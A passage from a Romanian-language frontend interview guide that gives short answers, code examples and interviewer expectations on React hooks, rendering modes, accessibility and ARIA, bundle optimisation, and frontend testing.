Ce urmărește intervievatorul: E fundamentul React, iar intervievatorul verifică dacă înțelegi fluxul datelor. Greșeala tipică: copierea props în state sau păstrarea în state a valorilor care se pot calcula.

69 Junior

Ce este JSX și în ce se transformă?

Răspuns scurt: JSX este o extensie de sintaxă care permite scrierea de markup asemănător HTML în JavaScript. La build este transformat în apeluri de funcții care creează obiecte-element React, de exemplu jsx('h1', { children: 'Salut' }).

Browserul nu înțelege JSX; un compilator (Babel, esbuild, SWC, TypeScript) îl transformă în JavaScript obișnuit. Cu „noul JSX transform” (React 17+):

JSX
const el = <h1 className="titlu">Salut, {nume}</h1>;

devine aproximativ:

JavaScript
import { jsx } from 'react/jsx-runtime';
const el = jsx('h1', { className: 'titlu', children: ['Salut, ', nume] });

Rezultatul e un obiect simplu care descrie ce trebuie afișat, nu un element DOM.

Diferențe față de HTML pe care trebuie să le știi:

  • className în loc de class, htmlFor în loc de for;
  • atributele sunt în camelCase: onClick, tabIndex; excepție fac aria-* și data-*;
  • style primește un obiect: style={{ marginTop: 8 }};
  • orice tag trebuie închis: <img />, <br />;
  • o componentă întoarce un singur element rădăcină; pentru mai multe folosești fragmentul <>...</>;
  • numele de componente încep cu literă mare (<Card />), altfel sunt tratate ca tag-uri HTML.

În acolade pui expresii, nu instrucțiuni:

JSX
<ul>
  {cursuri.length === 0 && <li>Niciun curs</li>}
  {cursuri.map(c => <li key={c.id}>{c.titlu}</li>)}
  {esteAdmin ? <BaraAdmin /> : null}
</ul>

if și for nu pot sta direct în JSX; folosești operatorul ternar, &&, map sau calculezi valoarea înainte de return.

JSX escapează automat valorile inserate, ceea ce protejează de XSS. Valorile null, undefined, true și false nu afișează nimic, dar 0 și NaN se afișează.

Ce urmărește intervievatorul: Verifică dacă înțelegi că JSX e doar JavaScript, ceea ce explică restul regulilor. Greșeala tipică: ideea că JSX e HTML interpretat de browser.

70 Junior

De ce are nevoie React de prop-ul key la liste? De ce nu e bine să folosești indexul?

Răspuns scurt: key îi spune lui React care element din listă e care între randări, ca să poată păstra, muta sau șterge corect componentele și state-ul lor. Indexul se schimbă când inserezi, ștergi sau sortezi, deci React asociază state-ul cu elementul greșit.

La reconciliere, React compară copiii din randarea veche cu cei din randarea nouă. Fără chei, compară după poziție. Cu chei stabile, poate recunoaște că elementul cu key="42" s-a mutat de pe poziția 3 pe poziția 0, în loc să considere că toate elementele s-au schimbat.

Problema cu indexul se vede când elementele au state propriu sau câmpuri de formular:

JSX
function Lista() {
  const [items, setItems] = useState([
    { id: 'a', text: 'HTML' },
    { id: 'b', text: 'CSS' },
  ]);
  const adaugaSus = () =>
    setItems([{ id: crypto.randomUUID(), text: 'JS' }, ...items]);

  return (
    <>
      <button onClick={adaugaSus}>Adaugă sus</button>
      {items.map((item, i) => (
        <div key={i}>                 {/* greșit */}
          {item.text} <input placeholder="notițe" />
        </div>
      ))}
    </>
  );
}

Scrii o notiță la „HTML”, apoi apeși „Adaugă sus”. Noul element primește indexul 0, deci React refolosește componenta cu cheia 0, iar input-ul cu notița ta apare acum lângă „JS”. Cu key={item.id}, notița rămâne lângă „HTML”.

Reguli:

  • cheia trebuie să fie stabilă (aceeași între randări), unică între frați (nu global) și să identifice datele;
  • folosește id-ul din baza de date; dacă nu există, generează-l când creezi elementul, nu la randare;
  • key={Math.random()} e cel mai rău caz: totul se recreează la fiecare randare, inclusiv focusul pierdut;
  • indexul e acceptabil doar pentru liste statice, care nu se reordonează și nu au state.

Un truc util: schimbarea cheii unei componente o resetează complet. <Profil key={userId} /> pornește cu state curat pentru fiecare utilizator.

Ce urmărește intervievatorul: E o întrebare clasică ce verifică înțelegerea reconcilierii. Greșeala tipică: răspunsul „e pentru performanță” fără a ști că problema reală este state-ul asociat greșit.

71 Junior

De ce, după setState, valoarea nu este actualizată imediat? Când folosești forma funcțională a actualizării?

Răspuns scurt: setState nu modifică variabila curentă, ci programează o nouă randare în care componenta primește valoarea nouă; în randarea curentă, state-ul rămâne cel vechi. Forma funcțională setX(prev => ...) e necesară când valoarea nouă depinde de cea anterioară, mai ales la mai multe actualizări succesive.

JSX
function Contor() {
  const [count, setCount] = useState(0);

  function plusTrei() {
    setCount(count + 1);
    setCount(count + 1);
    setCount(count + 1);
    console.log(count); // 0
  }
  // după click: 1, nu 3
}

În randarea curentă, count este o constantă cu valoarea 0. Fiecare apel programează „setează la 0 + 1”. React grupează actualizările (batching, automat peste tot din React 18, inclusiv în promisiuni și timere) și face o singură randare, cu valoarea 1.

Forma funcțională primește cea mai recentă valoare din coada de actualizări:

JSX
function plusTrei() {
  setCount(c => c + 1);
  setCount(c => c + 1);
  setCount(c => c + 1);
}
// după click: 3

Când folosești forma funcțională:

  • noua valoare depinde de cea veche (contoare, toggle-uri, adăugare în listă);
  • actualizezi din callback-uri care pot vedea o valoare veche (timere, abonamente, efecte cu dependențe goale);
  • vrei să eviți adăugarea state-ului în dependențele unui efect sau ale unui useCallback.

Pentru obiecte și array-uri, actualizarea înseamnă o valoare nouă, nu modificarea celei existente, pentru că React compară cu Object.is:

JSX
setUser(u => ({ ...u, nume: 'Ana' }));        // corect
setItems(list => [...list, itemNou]);         // corect
user.nume = 'Ana'; setUser(user);             // greșit: aceeași referință, nicio randare

Dacă ai nevoie de valoarea nouă imediat după setare, o calculezi într-o variabilă locală și o folosești pe aceea.

Ce urmărește intervievatorul: Arată dacă înțelegi modelul de randare, iar bug-urile de acest tip sunt foarte frecvente. Greșeala tipică: așteptarea ca variabila de state să se schimbe pe linia următoare.

72 Junior

Cum funcționează useEffect: array-ul de dependențe și funcția de cleanup?

Răspuns scurt: useEffect rulează cod după ce React a afișat componenta, pentru sincronizarea cu sisteme externe (cereri, abonamente, timere, API-uri ale browserului). Dependențele decid când rulează din nou, iar funcția întoarsă (cleanup) curăță efectul anterior înainte de o nouă rulare și la demontare.

JSX
useEffect(() => {
  // efectul
  return () => {
    // cleanup
  };
}, [dependente]);

Trei variante:

  • fără array: rulează după fiecare randare (rar necesar);
  • []: o singură dată după montare, cleanup la demontare;
  • [a, b]: după montare și după fiecare randare în care a sau b s-au schimbat (comparate cu Object.is).

Exemplu cu abonament:

JSX
function StatusConexiune({ cameraId }) {
  const [conectat, setConectat] = useState(false);

  useEffect(() => {
    const conexiune = creeazaConexiune(cameraId);
    conexiune.on('status', setConectat);
    conexiune.connect();
    return () => conexiune.disconnect(); // la schimbarea camerei sau la demontare
  }, [cameraId]);

  return <span>{conectat ? 'Online' : 'Offline'}</span>;
}

Reguli importante:

  • dependențele nu se aleg, se declară: orice valoare reactivă (props, state, funcții definite în componentă) folosită în efect trebuie să apară în array. Regula ESLint react-hooks/exhaustive-deps le verifică. Dacă omiți una, efectul folosește valori vechi.
  • În StrictMode, în dezvoltare, React montează, demontează și montează din nou componentele, deci efectul rulează de două ori. Dacă asta strică ceva, îți lipsește cleanup-ul.
  • Funcția de efect nu poate fi async direct; definești o funcție async în interior și o apelezi.

Multe lucruri nu au nevoie de efect: datele derivate se calculează la randare, iar reacția la un click se face în handler-ul evenimentului. Efectul e pentru sincronizarea cu ceva din afara React.

Ce urmărește intervievatorul: useEffect e cel mai folosit și cel mai greșit înțeles hook. Greșeala tipică: dependențe omise intenționat pentru a evita bucle și efecte folosite pentru date care se pot calcula direct.

73 Junior

Ce sunt componentele controlate și necontrolate? Când folosești useRef?

Răspuns scurt: Într-un input controlat, valoarea vine din state-ul React și se schimbă prin onChange; React e sursa de adevăr. Într-unul necontrolat, DOM-ul păstrează valoarea, iar tu o citești când ai nevoie, de obicei printr-un ref. useRef păstrează o valoare mutabilă între randări fără să declanșeze randare.

Controlat:

JSX
function FormularEmail() {
  const [email, setEmail] = useState('');
  const valid = email.includes('@');
  return (
    <>
      <input value={email} onChange={e => setEmail(e.target.value)} />
      {!valid && email && <p>Email invalid</p>}
    </>
  );
}

Avantaje: validare la fiecare tastare, transformarea valorii (de exemplu majuscule), câmpuri dependente unele de altele. Cost: o randare la fiecare tastare, de obicei neglijabil.

Necontrolat:

JSX
function Cautare({ onCauta }) {
  const inputRef = useRef(null);
  const trimite = (e) => {
    e.preventDefault();
    onCauta(inputRef.current.value);
  };
  return (
    <form onSubmit={trimite}>
      <input ref={inputRef} defaultValue="" />
      <button>Caută</button>
    </form>
  );
}

Mai simplu pentru formulare unde valoarea contează doar la trimitere, și necesar pentru <input type="file">, care e mereu necontrolat. Librăriile precum React Hook Form folosesc în principal acest mod pentru performanță.

Greșeală frecventă: value fără onChange face câmpul blocat, iar trecerea de la value={undefined} la o valoare transformă un input necontrolat în controlat și produce un avertisment.

useRef are două utilizări:

  • referință la un element DOM: focus, măsurători, integrare cu librării non-React (inputRef.current.focus());
  • o „cutie” pentru valori care trebuie să persiste fără să afișeze ceva: id-ul unui timer, valoarea anterioară, un flag.
JSX
const timerRef = useRef(null);
timerRef.current = setTimeout(...); // nu produce randare

Nu citi și nu scrie ref.current în timpul randării pentru a decide ce afișezi; pentru asta există state-ul.

Ce urmărește intervievatorul: Formularele sunt prezente în aproape orice temă practică. Greșeala tipică: folosirea lui useRef pentru valori care trebuie afișate, ceea ce lasă interfața neactualizată.

74 Junior

Ce înseamnă „lifting state up” și ce este prop drilling?

Răspuns scurt: Lifting state up înseamnă mutarea state-ului în cel mai apropiat părinte comun al componentelor care au nevoie de el, transmițându-l prin props. Prop drilling e situația în care treci props prin multe niveluri intermediare care nu le folosesc, doar ca să ajungă mai jos.

Să presupunem două componente surori: un câmp de filtrare și o listă. Lista trebuie să știe ce scrie în câmp. Dacă fiecare are propriul state, nu comunică. Soluția: state-ul urcă în părinte.

JSX
function PaginaCursuri() {
  const [filtru, setFiltru] = useState('');
  const vizibile = CURSURI.filter(c =>
    c.titlu.toLowerCase().includes(filtru.toLowerCase())
  );
  return (
    <>
      <Filtru valoare={filtru} onSchimba={setFiltru} />
      <ListaCursuri cursuri={vizibile} />
    </>
  );
}

function Filtru({ valoare, onSchimba }) {
  return <input value={valoare} onChange={e => onSchimba(e.target.value)} />;
}

Așa există o singură sursă de adevăr, iar componentele copil devin simple și ușor de testat.

Prop drilling apare când state-ul trebuie să ajungă adânc: App → Layout → Sidebar → Meniu → AvatarUtilizator, iar Layout, Sidebar și Meniu primesc user doar ca să-l transmită mai departe. Codul devine fragil: o schimbare de nume a prop-ului atinge cinci fișiere.

Soluții, în ordinea în care merită încercate:

  • compoziția: transmiți componenta gata construită prin children, astfel încât nivelurile intermediare nu mai au nevoie de date:
JSX
<Layout sidebar={<Meniu avatar={<AvatarUtilizator user={user} />} />} />
  • Context pentru date cu adevărat globale (utilizator curent, temă, limbă);
  • un store extern (Zustand, Redux Toolkit) pentru state complex partajat;
  • o librărie de server state (TanStack Query) când datele vin de la API, caz în care fiecare componentă le cere direct, iar cache-ul elimină cererile duplicate.

Câteva niveluri de props nu sunt o problemă; sunt explicite și ușor de urmărit.

Ce urmărește intervievatorul: Verifică dacă știi să decizi unde locuiește state-ul. Greșeala tipică: sărirea direct la Context sau Redux pentru orice valoare partajată de două componente.

75 Mid

Care sunt regulile hook-urilor și de ce nu poți apela un hook într-un if?

Răspuns scurt: Hook-urile se apelează doar la nivelul de sus al unei componente sau al unui custom hook, nu în condiții sau bucle. React identifică fiecare hook după ordinea apelurilor, iar o ordine schimbată asociază state-ul cu hook-ul greșit.

React nu știe numele variabilelor tale. Când scrii:

JSX
function Profil() {
  const [nume, setNume] = useState('');
  const [varsta, setVarsta] = useState(0);
  useEffect(() => { /* ... */ }, [nume]);
}

intern ține o listă de „celule” pentru componentă: celula 1 e primul useState, celula 2 al doilea, celula 3 efectul. La fiecare randare le parcurge în aceeași ordine.

Dacă un hook e condiționat:

JSX
function Profil({ esteAdmin }) {
  const [nume, setNume] = useState('');
  if (esteAdmin) {
    const [permisiuni, setPermisiuni] = useState([]); // greșit
  }
  const [varsta, setVarsta] = useState(0);
}

Când esteAdmin trece din true în false, varsta ajunge să citească celula care aparținea lui permisiuni. React detectează schimbarea numărului de hook-uri și aruncă o eroare, dar în alte cazuri rezultatul ar fi date amestecate.

Varianta corectă: hook-ul se apelează mereu, condiția se mută în interior sau în JSX.

JSX
const [permisiuni, setPermisiuni] = useState([]);
useEffect(() => {
  if (!esteAdmin) return;
  incarcaPermisiuni().then(setPermisiuni);
}, [esteAdmin]);

Sau extragi partea condiționată într-o componentă separată, randată condiționat: {esteAdmin && <PanouAdmin />}; acolo hook-urile sunt la nivelul de sus.

Regulile se aplică automat cu pluginul ESLint eslint-plugin-react-hooks, care ar trebui activat în orice proiect. O excepție recentă: în React 19, funcția use() poate fi apelată condiționat, pentru că nu ține state legat de poziție în același mod.

Numele unui custom hook începe cu use tocmai ca uneltele să poată aplica aceste reguli.

Ce urmărește intervievatorul: Testează înțelegerea mecanismului intern al hook-urilor, nu doar a regulii. Greșeala tipică: explicația „așa zice documentația” fără înțelegerea ordinii apelurilor.

76 Mid

Ce este Context API, când îl folosești și ce probleme de performanță poate crea?

Răspuns scurt: Context transmite o valoare oricărei componente din subarbore fără props intermediare. E potrivit pentru date globale care se schimbă rar (temă, utilizator, limbă). Problema: orice schimbare a valorii re-randează toți consumatorii, chiar dacă folosesc doar o parte din ea.

JSX
const TemaContext = createContext('light');

function App() {
  const [tema, setTema] = useState('light');
  const valoare = useMemo(() => ({ tema, setTema }), [tema]);
  return (
    <TemaContext.Provider value={valoare}>
      <Pagina />
    </TemaContext.Provider>
  );
}

function ButonTema() {
  const { tema, setTema } = useContext(TemaContext);
  return <button onClick={() => setTema(t => (t === 'light' ? 'dark' : 'light'))}>{tema}</button>;
}

Context rezolvă transportul datelor, nu gestionarea lor; state-ul rămâne un useState sau useReducer obișnuit.

Problemele de performanță:

  • Când value se schimbă (comparat cu Object.is), toate componentele care apelează useContext pentru acel context se randează, iar React.memo pe ele nu ajută.
  • Dacă scrii value={{ tema, setTema }} direct, obiectul e nou la fiecare randare a lui App, deci toți consumatorii se randează mereu. De aceea apare useMemo mai sus.
  • Un singur context mare (AppContext cu utilizator, coș, notificări, setări) face ca o notificare nouă să randeze tot ce citește utilizatorul.

Soluții:

  • împarte în contexte mici, după frecvența schimbării;
  • separă state-ul de funcțiile de actualizare în două contexte, ca butoanele care doar modifică să nu se randeze la fiecare schimbare;
  • pentru state care se schimbă des și e citit parțial de multe componente, un store extern cu selectori (Zustand, Redux Toolkit, Jotai) randează doar componentele al căror fragment s-a schimbat.

Context e foarte potrivit pentru injectarea de dependențe și configurări: tema, limba, clientul API, utilizatorul autentificat.

Ce urmărește intervievatorul: Verifică dacă înțelegi costul abstracțiilor folosite. Greșeala tipică: Context prezentat ca înlocuitor complet pentru Redux, fără conștientizarea randărilor în cascadă.

77 Mid

Ce este un custom hook? Scrie un hook useFetch sau useLocalStorage.

Răspuns scurt: Un custom hook este o funcție al cărei nume începe cu use și care combină alte hook-uri pentru a reutiliza logică cu state între componente. Partajează logica, nu state-ul: fiecare componentă care îl apelează primește propria copie.

Când aceeași combinație de useState și useEffect apare în mai multe componente, o extragi:

TSX
function useLocalStorage<T>(cheie: string, initial: T) {
  const [valoare, setValoare] = useState<T>(() => {
    try {
      const salvat = localStorage.getItem(cheie);
      return salvat !== null ? (JSON.parse(salvat) as T) : initial;
    } catch {
      return initial;
    }
  });

  useEffect(() => {
    try {
      localStorage.setItem(cheie, JSON.stringify(valoare));
    } catch {
      // spațiu plin sau stocare blocată: ignorăm
    }
  }, [cheie, valoare]);

  return [valoare, setValoare] as const;
}

// utilizare
const [tema, setTema] = useLocalStorage<'light' | 'dark'>('tema', 'light');

Detalii care contează:

  • Funcția transmisă lui useState (inițializare leneșă) rulează doar la prima randare, deci nu citim din localStorage la fiecare randare.
  • try/catch acoperă JSON corupt și stocarea indisponibilă.
  • as const păstrează tipul de tuplu, ca destructuring-ul să aibă tipuri corecte.
  • Pe server (SSR), localStorage nu există; un hook folosit în Next.js trebuie să citească valoarea abia după montare.

Un useFetch ar ține { data, error, loading }, ar folosi AbortController în cleanup și ar depinde de URL. În aplicații reale, pentru date de la server folosești de obicei TanStack Query sau SWR, care adaugă cache, deduplicare și reîncercări.

Ce nu e un custom hook: o funcție obișnuită care nu folosește alte hook-uri nu trebuie numită useX. Prefixul contează pentru regulile verificate de ESLint.

Ce urmărește intervievatorul: Arată capacitatea de a structura logica reutilizabil, cerință standard la mid. Greșeala tipică: convingerea că două componente care folosesc același hook partajează state-ul.

78 Mid

Cum alegi soluția de state management: state local, Context, Redux Toolkit, Zustand sau TanStack Query?

Răspuns scurt: Pornești de la tipul state-ului: cel de interfață rămâne local, datele globale rare stau în Context, datele de la server merg în TanStack Query sau SWR, iar state-ul de client complex și partajat într-un store ca Redux Toolkit sau Zustand.

Cea mai utilă distincție este între tipuri de state:

  • State de interfață, local: modal deschis, tab activ, valoarea unui input. useState sau useReducer în componentă.
  • State de server: date care aparțin backend-ului și pe care doar le afișezi (cursuri, profil, comenzi). Problemele reale sunt cache-ul, invalidarea, reîncercarea, deduplicarea și sincronizarea, nu stocarea.
  • State global de client: coș înainte de checkout, preferințe, starea unui editor complex.
  • State în URL: filtre, pagina curentă, căutarea. Se poate partaja printr-un link și supraviețuiește reîncărcării.
TSX
// server state cu TanStack Query
const { data, isPending, error } = useQuery({
  queryKey: ['cursuri', nivel],
  queryFn: () => fetch(`/api/cursuri?nivel=${nivel}`).then(r => r.json()),
  staleTime: 60_000,
});

// client state global cu Zustand
const useCos = create<CosState>((set) => ({
  produse: [],
  adauga: (p) => set((s) => ({ produse: [...s.produse, p] })),
}));
const numar = useCos((s) => s.produse.length); // randare doar când se schimbă lungimea

Criterii:

  • Redux Toolkit: structură clară, DevTools cu istoricul acțiunilor, convenții pentru echipe mari; include RTK Query pentru date de la server.
  • Zustand: API minim, selectori, foarte puțin cod.
  • Context: fără dependențe, dar fără selectori, deci nepotrivit pentru valori care se schimbă des.
  • TanStack Query / SWR: elimină cea mai mare parte din ce se punea istoric în Redux.

Multe aplicații care au „nevoie de Redux” au de fapt nevoie de o librărie de server state plus câteva valori în Context. Un răspuns bun la interviu menționează și costul fiecărei unelte adăugate: dependențe, cod de configurare, curbă de învățare.

Ce urmărește intervievatorul: Intervievatorul vrea să vadă un criteriu de decizie, nu o librărie preferată. Greșeala tipică: datele de la server copiate în Redux și sincronizate manual cu efecte.

79 Senior

Când ajută useMemo, useCallback și React.memo și când sunt inutile?

Răspuns scurt: React.memo sare peste randarea unei componente dacă props-urile sunt egale superficial; useCallback și useMemo păstrează aceeași referință pentru o funcție sau o valoare calculată între randări. Ajută doar când previn o muncă scumpă măsurată sau când stabilitatea referinței contează; altfel adaugă complexitate fără câștig.

Implicit, când un părinte se randează, toți copiii se randează. De obicei e rapid. Memoizarea are sens în trei situații:

1. Un calcul scump la randare:

JSX
const sortate = useMemo(
  () => cursuri.toSorted((a, b) => a.titlu.localeCompare(b.titlu)),
  [cursuri]
);

2. Un copil scump, învelit în React.memo, care primește obiecte sau funcții. Fără useCallback, funcția e nouă la fiecare randare, iar memo nu mai ajută:

JSX
const RandTabel = React.memo(function RandTabel({ rand, onSterge }) { /* ... */ });

function Tabel({ randuri }) {
  const [selectat, setSelectat] = useState(null);
  const onSterge = useCallback((id) => stergeRand(id), []);
  return randuri.map(r => <RandTabel key={r.id} rand={r} onSterge={onSterge} />);
}

3. Dependențe stabile pentru alte hook-uri: un obiect folosit într-un useEffect ar declanșa efectul la fiecare randare dacă nu e memoizat.

Când sunt inutile:

  • pe calcule triviale (filtrarea a 20 de elemente);
  • useCallback pe o funcție transmisă unui element DOM (<button onClick>) sau unei componente nememoizate;
  • React.memo pe o componentă care primește children sau obiecte noi la fiecare randare.

Fiecare memoizare are un cost: compararea dependențelor, memorie, cod mai greu de citit și bug-uri de tip stale closure când dependențele sunt greșite.

Ordinea corectă: măsori cu React DevTools Profiler (opțiunea „Highlight updates” și durata fiecărei randări), apoi aplici întâi soluții structurale (muți state-ul mai jos, transmiți conținutul prin children), abia apoi memoizare. React Compiler, stabil din 2025, aplică automat memoizarea la build, așa că în proiectele care îl folosesc aceste hook-uri scrise manual devin în mare parte inutile.

Ce urmărește intervievatorul: La senior se urmărește optimizarea bazată pe măsurători, nu din reflex. Greșeala tipică: useCallback și useMemo puse peste tot, fără React.memo pe copii și fără profilare.

80 Senior

Explică diferențele dintre CSR, SSR, SSG și React Server Components. Ce este hidratarea?

Răspuns scurt: La CSR, browserul construiește pagina cu JavaScript dintr-un HTML gol; la SSR, serverul generează HTML-ul la fiecare cerere, iar la SSG la build. Hidratarea atașează React la HTML-ul primit. Server Components rulează doar pe server, fără JavaScript propriu în browser.

CSR (Client-Side Rendering), de exemplu o aplicație Vite clasică: serverul trimite un <div id="root"> gol plus bundle-ul JS. Simplu de găzduit, bun în spatele autentificării, dar conținutul apare abia după rularea JS-ului.

SSR (Server-Side Rendering): serverul rulează componentele la fiecare cerere și trimite HTML complet. Conținutul apare repede și e indexabil, dar ai nevoie de un server Node (sau edge), iar fiecare cerere costă timp de calcul.

SSG (Static Site Generation): HTML generat la build, servit de pe CDN. Cel mai rapid și ieftin, pentru pagini care se schimbă rar (blog, documentație).

Hidratarea: după SSR sau SSG, browserul descarcă același cod al componentelor și React „atașează” event handler-ele la DOM-ul existent, fără să-l recreeze. Până atunci, pagina se vede, dar nu reacționează. Dacă HTML-ul randat pe client diferă de cel de pe server (de exemplu folosești Date.now() sau window la randare), apare o eroare de hydration mismatch.

React Server Components (stabile în React 19, folosite de Next.js App Router):

TSX
// componentă server: poate citi direct din baza de date, nu trimite JS
export default async function PaginaCurs({ params }) {
  const curs = await db.curs.find(params.id);
  return <><h1>{curs.titlu}</h1><ButonCumpara id={curs.id} /></>;
}

// ButonCumpara.tsx
'use client';
export function ButonCumpara({ id }) { /* useState, onClick */ }

Doar componentele marcate 'use client' ajung în bundle-ul din browser, ceea ce reduce JavaScript-ul trimis. Costul: un model mental nou și props serializabile între server și client.

Alegerea depinde de cât de dinamic e conținutul, de nevoile de SEO și de infrastructură; aplicațiile mari combină modurile pe rute diferite.

Ce urmărește intervievatorul: La senior se verifică înțelegerea compromisurilor de arhitectură și randare. Greșeala tipică: necunoașterea cauzelor unui hydration mismatch sau confuzia dintre SSR și Server Components.

Performanță, accesibilitate și testare

81 Junior

Ce înseamnă accesibilitate web și cum verifici rapid dacă o pagină poate fi folosită doar cu tastatura?

Răspuns scurt: Accesibilitatea înseamnă ca oricine, inclusiv persoanele cu dizabilități vizuale, motorii sau cognitive, să poată folosi aplicația. Standardul de referință este WCAG. Testul rapid: navighezi cu Tab, Shift+Tab, Enter, Space și Escape și verifici că poți ajunge la orice și că focusul e mereu vizibil.

WCAG (Web Content Accessibility Guidelines), versiunea 2.2 fiind cea curentă, organizează cerințele în patru principii: conținutul trebuie să fie perceptibil, operabil, ușor de înțeles și robust. În Uniunea Europeană, Actul European privind Accesibilitatea (European Accessibility Act), aplicabil din iunie 2025, cere accesibilitate pentru o serie de produse și servicii digitale, inclusiv comerț electronic.

Testul cu tastatura, în cinci minute:

  • Tab parcurge toate elementele interactive în ordine logică (ordinea din DOM, nu cea vizuală).
  • Focusul se vede mereu. Regula outline: none fără înlocuitor e o greșeală gravă.
CSS
:focus-visible {
  outline: 3px solid var(--accent);
  outline-offset: 2px;
}
  • Enter și Space activează butoanele, Escape închide modalurile și meniurile.
  • Când se deschide un modal, focusul intră în el și nu scapă în pagina din spate; la închidere revine pe butonul care l-a deschis. Elementul nativ <dialog> deschis cu showModal() face mare parte din asta automat.
  • Nu există „capcane”, adică zone din care nu mai poți ieși cu tastatura.

Alte verificări de bază:

  • contrast suficient între text și fundal (minim 4.5:1 pentru text normal la nivelul AA);
  • etichete pentru câmpuri și text alternativ pentru imagini;
  • informația nu e transmisă doar prin culoare (o eroare marcată doar cu roșu);
  • pagina funcționează la zoom de 200%.

Unelte: Lighthouse și axe DevTools în browser, eslint-plugin-jsx-a11y în cod, un cititor de ecran (NVDA pe Windows, VoiceOver pe macOS). Uneltele automate prind doar o parte din probleme; testul manual rămâne necesar.

Ce urmărește intervievatorul: Accesibilitatea e cerută tot mai des, iar intervievatorul vrea să vadă că o tratezi practic. Greșeala tipică: eliminarea outline-ului pentru aspect și componente interactive construite din div-uri.

82 Mid

Ce este ARIA și când ar trebui (și când nu) să o folosești?

Răspuns scurt: ARIA este un set de atribute (role, aria-label, aria-expanded etc.) care descriu rolul, numele și starea elementelor pentru tehnologiile asistive. Prima regulă: dacă există un element HTML nativ care face ce ai nevoie, folosește-l în locul ARIA.

ARIA nu schimbă comportamentul unui element, doar ce anunță cititorul de ecran. Un <div role="button"> e anunțat ca buton, dar tot nu primește focus și nu reacționează la Enter; trebuie să adaugi singur tabindex="0" și handler-e de tastatură. Un <button> face toate acestea gratuit.

Unde ARIA e chiar necesară:

HTML
<!-- buton doar cu icon: are nevoie de nume accesibil -->
<button aria-label="Închide">
  <svg aria-hidden="true">...</svg>
</button>

<!-- meniu care se deschide: starea trebuie anunțată -->
<button aria-expanded="false" aria-controls="meniu-cont">Contul meu</button>
<ul id="meniu-cont" hidden>...</ul>

<!-- mesaje care apar dinamic -->
<div role="status" aria-live="polite">Cursul a fost salvat.</div>
<div role="alert">Plata a eșuat.</div>

<!-- legătura dintre câmp și mesajul de eroare -->
<input id="email" aria-invalid="true" aria-describedby="email-err">
<p id="email-err">Introdu un email valid.</p>

Atribute frecvente:

  • aria-label / aria-labelledby: numele elementului;
  • aria-describedby: descriere suplimentară;
  • aria-expanded, aria-selected, aria-checked, aria-current: starea;
  • aria-hidden="true": ascunde decorațiunile de tehnologiile asistive (niciodată pe elemente care pot primi focus);
  • aria-live: anunță schimbările dintr-o zonă.

Pentru componente complexe (tab-uri, combobox, meniuri, arbori), documentul ARIA Authoring Practices Guide (APG) al W3C descrie rolurile și comportamentul de tastatură așteptat. Librării precum Radix UI, React Aria sau Headless UI implementează aceste tipare și merită folosite în loc să le scrii de la zero.

O idee citată des în comunitate: o pagină cu ARIA folosită greșit e adesea mai greu de utilizat decât una fără ARIA deloc.

Ce urmărește intervievatorul: Verifică dacă înțelegi că ARIA completează HTML-ul, nu îl înlocuiește. Greșeala tipică: role și aria-label adăugate pe div-uri clicabile în loc de elemente native.

83 Mid

Cum reduci dimensiunea bundle-ului și timpul de încărcare: code splitting, lazy loading, tree shaking?

Răspuns scurt: Code splitting împarte JavaScript-ul în bucăți încărcate la nevoie (de exemplu per rută), lazy loading amână componentele și resursele care nu sunt necesare imediat, iar tree shaking elimină la build codul importat, dar nefolosit. Măsori întâi cu un analizor de bundle.

Mai mult JavaScript înseamnă descărcare, parsare și execuție mai lungi, iar pe telefoane modeste costul de procesare contează la fel de mult ca rețeaua.

Code splitting pe rute cu import dinamic:

JSX
import { lazy, Suspense } from 'react';
const Admin = lazy(() => import('./pagini/Admin'));
const Editor = lazy(() => import('./pagini/Editor'));

<Suspense fallback={<Spinner />}>
  <Routes>
    <Route path="/admin" element={<Admin />} />
    <Route path="/editor" element={<Editor />} />
  </Routes>
</Suspense>

Bundler-ul (Vite, webpack) creează fișiere separate pentru fiecare import(), încărcate doar la vizitarea rutei. Framework-uri ca Next.js fac asta automat.

Lazy loading la interacțiune: o librărie grea (editor, grafice, hărți) se încarcă abia când utilizatorul deschide componenta. Poți preîncărca la hover pe butonul care o deschide.

Tree shaking: funcționează cu module ES și importuri cu nume.

JavaScript
import { debounce } from 'lodash-es';  // doar funcția
import _ from 'lodash';                 // toată librăria

Câmpul "sideEffects": false din package.json-ul unei librării îi permite bundler-ului să elimine module întregi nefolosite.

Alte măsuri:

  • analizează bundle-ul (rollup-plugin-visualizer, webpack-bundle-analyzer) și caută dependențe mari sau duplicate;
  • înlocuiește librăriile grele cu API-uri native (Intl.DateTimeFormat în loc de o librărie de date pentru formatări simple);
  • compresie Brotli sau gzip pe server, cache lung pe fișierele cu hash;
  • fonturi limitate la seturile de caractere necesare (inclusiv diacriticele românești), cu font-display: swap;
  • imagini în formate moderne, cu dimensiuni corecte.

Stabilește un buget de performanță (de exemplu dimensiunea maximă a JS-ului inițial) și verifică-l în CI, ca regresiile să fie prinse la pull request.

Ce urmărește intervievatorul: Arată că te gândești la utilizatorii cu dispozitive și rețele modeste. Greșeala tipică: optimizări aplicate fără măsurare, în timp ce o singură dependență mare domină bundle-ul.

84 Mid

Cum testezi o aplicație frontend? Diferența dintre teste unitare, de integrare și end-to-end.

Răspuns scurt: Testele unitare verifică funcții sau componente izolate, cele de integrare verifică mai multe componente împreună, iar testele end-to-end rulează aplicația reală într-un browser, ca un utilizator. Unelte uzuale: Vitest sau Jest, React Testing Library și Playwright sau Cypress.

Unitare: funcții pure și logică (formatare de preț, validări, reducere de state). Rapide, ieftine, precise.

TypeScript
import { describe, it, expect } from 'vitest';
import { totalCos } from './cos';

describe('totalCos', () => {
  it('ignoră produsele inactive', () => {
    expect(totalCos([{ pret: 10, cantitate: 2, activ: true }, { pret: 5, cantitate: 1, activ: false }])).toBe(20);
  });
});

Integrare / componente cu React Testing Library: randezi componenta, interacționezi ca un utilizator și verifici ce vede utilizatorul, nu detaliile interne.

TSX
import { render, screen } from '@testing-library/react';
import userEvent from '@testing-library/user-event';

it('afișează eroare la email invalid', async () => {
  render(<FormularInscriere />);
  await userEvent.type(screen.getByLabelText('Email'), 'gresit');
  await userEvent.click(screen.getByRole('button', { name: 'Trimite' }));
  expect(screen.getByRole('alert')).toHaveTextContent('email valid');
});

Selectorii după rol și etichetă (getByRole, getByLabelText) încurajează și accesibilitatea: dacă testul nu găsește butonul după nume, probabil nici cititorul de ecran nu-l găsește. Pentru API-uri, MSW (Mock Service Worker) interceptează cererile, iar componenta rămâne nemodificată.

